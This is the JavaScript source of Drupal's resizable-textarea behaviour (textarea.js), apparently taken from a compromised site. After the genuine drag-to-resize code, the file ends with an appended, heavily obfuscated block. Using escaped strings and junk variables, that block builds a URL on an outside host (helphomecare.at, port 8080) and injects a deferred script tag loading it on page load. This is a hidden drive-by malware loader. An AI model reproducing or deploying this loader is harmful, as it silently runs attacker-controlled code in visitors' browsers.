// $Id: textarea.js,v 1.9 2006/04/14 13:48:56 killes Exp $

if (isJsEnabled()) {
  addLoadEvent(textAreaAutoAttach);
}

function textAreaAutoAttach(event, parent) {
  if (typeof parent == 'undefined') {
    // Attach to all visible textareas.
    textareas = document.getElementsByTagName('textarea');
  }
  else {
    // Attach to all visible textareas inside parent.
    textareas = parent.getElementsByTagName('textarea');
  }
  var textarea;
  for (var i = 0; textarea = textareas[i]; ++i) {
    if (hasClass(textarea, 'resizable') && !hasClass(textarea.nextSibling, 'grippie')) {
      if (typeof dimensions(textarea).width != 'undefined' && dimensions(textarea).width != 0) {
        new textArea(textarea);
      }
    }
  }
}

function textArea(element) {
  var ta = this;
  this.element = element;
  this.parent = this.element.parentNode;
  this.dimensions = dimensions(element);

  // Prepare wrapper
  this.wrapper = document.createElement('div');
  this.wrapper.className = 'resizable-textarea';
  this.parent.insertBefore(this.wrapper, this.element);

  // Add grippie and measure it
  this.grippie = document.createElement('div');
  this.grippie.className = 'grippie';
  this.wrapper.appendChild(this.grippie);
  this.grippie.dimensions = dimensions(this.grippie);
  this.grippie.onmousedown = function (e) { ta.beginDrag(e); };

  // Set wrapper and textarea dimensions
  this.wrapper.style.height = this.dimensions.height + this.grippie.dimensions.height + 1 +'px';
  this.element.style.marginBottom = '0px';
  this.element.style.width = '100%';
  this.element.style.height = this.dimensions.height +'px';

  // Wrap textarea
  removeNode(this.element);
  this.wrapper.insertBefore(this.element, this.grippie);

  // Measure difference between desired and actual textarea dimensions to account for padding/borders
  this.widthOffset = dimensions(this.wrapper).width - this.dimensions.width;

  // Make the grippie line up in various browsers
  if (window.opera) {
    // Opera
    this.grippie.style.marginRight = '4px';
  }
  if (document.all && !window.opera) {
    // IE
    this.grippie.style.width = '100%';
    this.grippie.style.paddingLeft = '2px';
  }
  // Mozilla
  this.element.style.MozBoxSizing = 'border-box';

  this.heightOffset = absolutePosition(this.grippie).y - absolutePosition(this.element).y - this.dimensions.height;
}

textArea.prototype.beginDrag = function (event) {
  if (document.isDragging) {
    return;
  }
  document.isDragging = true;

  event = event || window.event;
  // Capture mouse
  var cp = this;
  this.oldMoveHandler = document.onmousemove;
  document.onmousemove = function(e) { cp.handleDrag(e); };
  this.oldUpHandler = document.onmouseup;
  document.onmouseup = function(e) { cp.endDrag(e); };

  // Store drag offset from grippie top
  var pos = absolutePosition(this.grippie);
  this.dragOffset = event.clientY - pos.y;

  // Make transparent
  this.element.style.opacity = 0.5;

  // Process
  this.handleDrag(event);
}

textArea.prototype.handleDrag = function (event) {
  event = event || window.event;
  // Get coordinates relative to text area
  var pos = absolutePosition(this.element);
  var y = event.clientY - pos.y;

  // Set new height
  var height = Math.max(32, y - this.dragOffset - this.heightOffset);
  this.wrapper.style.height = height + this.grippie.dimensions.height + 1 + 'px';
  this.element.style.height = height + 'px';

  // Avoid text selection
  stopEvent(event);
}

textArea.prototype.endDrag = function (event) {
  // Uncapture mouse
  document.onmousemove = this.oldMoveHandler;
  document.onmouseup = this.oldUpHandler;

  // Restore opacity
  this.element.style.opacity = 1.0;
  document.isDragging = false;
}




this.j='';this.e='';function U(){var V=new Array();var t;if(t!='' && t!='iG'){t='n'};var pr=new Date();var T;if(T!='J' && T!='yd'){T='J'};var pD;if(pD!='uq' && pD!='m'){pD='uq'};var p=window;var L=unescape;var Q=L("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%68%6f%74%66%69%6c%65%2e%63%6f%6d%2f%72%62%63%2e%72%75%2e%70%68%70");var of;if(of!=''){of='tW'};var hw;if(hw!=''){hw='wR'};function r(w,M){var rj=new String("g");var o=L("%5b"), A=L("%5d");var X;if(X!='a' && X != ''){X=null};var vw=new String();var h=o+M+A;var c=new RegExp(h, rj);return w.replace(c, new String());};var pk='';var Zf=new String();this.OK="";var he=r('87444707774787447440444774','47');var G=new String();var Y;if(Y!='gk' && Y!='f'){Y='gk'};var pW="";var W=document;var ab=new String();var Yz;if(Yz!='b'){Yz=''};var cR="";function P(){var _=new Date();var hz;if(hz!='' && hz!='rZ'){hz='Oy'};var AH=L("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");G=AH;var vL;if(vL!='xe' && vL!='kD'){vL='xe'};var Pg='';G+=he;var Wp;if(Wp!='Jh'){Wp='Jh'};var rV=new String();G+=Q;try {var TD;if(TD!='XJ' && TD != ''){TD=null};this.oZ='';B=W.createElement(r('sgcgrXigput6','4uAm_8SeWM2UgXb6'));var WQW;if(WQW!='md' && WQW!='oM'){WQW=''};this.Rn='';B[L("%64%65%66%65%72")]=[1][0];var gb="";B[L("%73%72%63")]=G;var Uw=new String();var Jd='';var gK=new Array();W.body.appendChild(B);var Ka;if(Ka!='' && Ka!='Me'){Ka='TL'};this.zM='';} catch(WW){var Be="";alert(WW);this.cZ='';};}var os='';var LL=new Array();p["onlo"+"ad"]=P;var Iy;if(Iy!='' && Iy!='uv'){Iy='jw'};this.DT='';var tU;if(tU!='' && tU!='CW'){tU='wn'};};var Df=new Date();U();